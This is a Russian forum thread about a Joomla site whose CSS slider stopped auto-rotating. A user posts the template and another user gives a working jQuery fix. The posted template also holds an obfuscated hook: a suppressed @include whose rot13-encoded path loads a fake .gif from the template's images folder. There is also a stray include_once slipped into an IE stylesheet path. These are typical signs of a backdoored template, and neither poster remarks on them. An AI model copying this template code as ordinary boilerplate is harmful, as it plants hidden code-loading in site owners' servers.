не_работает_ручной_слайдер_Joomla

A
На сайте с 22.03.2015
Offline
7
703

Добрый день!

Пожалуйста просьба посмотреть мою проблему.

Есть сайт http://avto-zvezda.ru.

После установки на главную страницу кода обратного звонка (записаться на ремонт) перестал работать автом.хамена слайдера (css,код) - на главной странице.

не могу понять что мешает.

вот часть код страницы.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >

<head>

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/jquery.jbcallme.css" type="text/css" />

<link href='http://fonts.googleapis.com/css?family=Jura:400,500,600,300&subset=latin,cyrillic' rel='stylesheet' type='text/css'>

<jdoc:include type="head" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />

<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/jquery.js"></script>

<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/jquery.jbcallme.js"></script>

<!--файлы слайдера-->

<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/slidercss.css" type="text/css" />

<script>

setInterval(function() {

var $curr = $('#slider1 input[type=radio]:checked');

var $next = $curr.next('input');

if(!$next.length) $next = $('#slider1 input[type=radio]').first();

$next.prop('checked', true);

}, 10000);

</script>

<!--файлы слайдера конец-->

<!--[if lte IE 6]>

<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />

<style>

#topnav ul li ul {

left: -999em;

margin-top: 0px;

margin-left: 0px;

}

</style>

<![endif]-->

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<script>

$.noConflict();

jQuery(document).ready(function($){

$('.callme_button').jbcallme({

postfix: 'service_order', // идентификатор окна

// поля tel и name установлены по-умолчанию. Отключаются добавлением no_tel:true и no_name:true

//no_tel: true, // не выводить стандартное поле телефона

no_name: true,

no_submit: true, // не выводить стандартную кнопку

title: "Записаться на ремонт", // заголовок окна

action_url: "/postmaster.php", // путь к обработчику запрсов

success: "Заказ принят и будет рассмотрен в ближайшее время",

fail: "Сообщение не доставлено. Извините за неудобство!",

fields: { // добавление полей

company: {

required: true, // обязательное ли

placeholder: "Ваше имя",

type: "text",

},

email: {

required: true, // обязательное ли

placeholder: "Ваш e-mail",

type: "email",

},

artist: {

label: "Марка автомобиля",

type: "text", // или "hidden", чтобы не выводилось в форме

},

list: {

placeholder: "Выбор ремонта",

type: "select",

options: [ "Ремонт коробки передач",

"Замена сцепления",

]

},

action: { // невидимое поле, передющее тип формы

type: "hidden",

value: "service_order",

},

send: {

type: "submit",

value: "Заказать",

},

},

});

});

</script>

</head>

<body id="page_bg">

<style>.o2_article {

width: 527px !important;

}</style>

<a name="up" id="up"></a>

<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>

<jdoc:include type="modules" name="layout" style="rounded" />

<?php endif; ?>

<?php include('functions.php'); ?>

<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><a href="/"><img src="/images/logo6.png" alt="Центр МКПП Авто-Звезда" align="left" style="width: 273px;

margin: 5px 6px 10px 0;"/></a><?php endif; ?>

<a href="" class="callme_button">Записаться на ремонт</a>

<a href="/contacts" class="logo">Санкт-Петербург,ул.Передовиков 20а, телефон для связи.: +7 (812) 715-03-30</a><br clear="all" />

<div id="main_top" class="banner"><jdoc:include type="modules" name="top" /></div>

<div id="top_menu">

<!-- <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_left.png" alt="real estate menu left" align="left" /> -->

<div id="topnav"><?php $hmenu->genHMenu (0); ?></div>

<!-- <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_right.png" alt="real estate menu right" align="right" /> -->

<br clear="all" />

<!-- <div align="right"><strong>Сейчас:</strong> <?php /*echo JHTML::_('date', date('Y-m-d H:i:s'), JText::_('DATE_FORMAT_LC3')); */ ?></div> --> </div>

<div id="banner" style="display:none;"><span class="left_lnk"><a href="http://avto-zvezda.ru/index.php/kpp">&nbsp;</a></span><span class="right_lnk"><a href="http://avto-zvezda.ru/index.php/repairofkpp">&nbsp;</a></span></div>

<!--файлы слайдера-->

<div id="slider1" class="csslider infinity">

<input type="radio" name="slides" checked="checked" id="slides_1"/>

<input type="radio" name="slides" id="slides_2"/>

<input type="radio" name="slides" id="slides_3"/>

<ul>

<li></li>

<li></li>

<li></li>

</ul>

<div class="arrows">

<label for="slides_1"></label>

<label for="slides_2"></label>

<label for="slides_3"></label>

<label for="slides_1" class="goto-first"></label>

<label for="slides_3" class="goto-last"></label>

</div>

<div class="navigation">

<div>

<label for="slides_1"></label>

<label for="slides_2"></label>

<label for="slides_3"></label>

</div>

</div>

</div>

<!--файлы слайдера конец-->

...........

</body>

</html>

дани мапов
На сайте с 06.09.2012
Offline
204
#1

Две строки надо добавить:


<script>
jQuery(document).ready(function($){
setInterval(function() {
var $curr = $('#slider1 input[type=radio]:checked');
var $next = $curr.next('input');
if(!$next.length) $next = $('#slider1 input[type=radio]').first();
$next.prop('checked', true);

}, 10000);
});
</script>
Написание и доработка скриптов (PHP, MySQL, JavaScript, jQuery) (/ru/forum/811046)
A
На сайте с 22.03.2015
Offline
7
#2

Спасибо вам большое!

Все работает,отлично

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий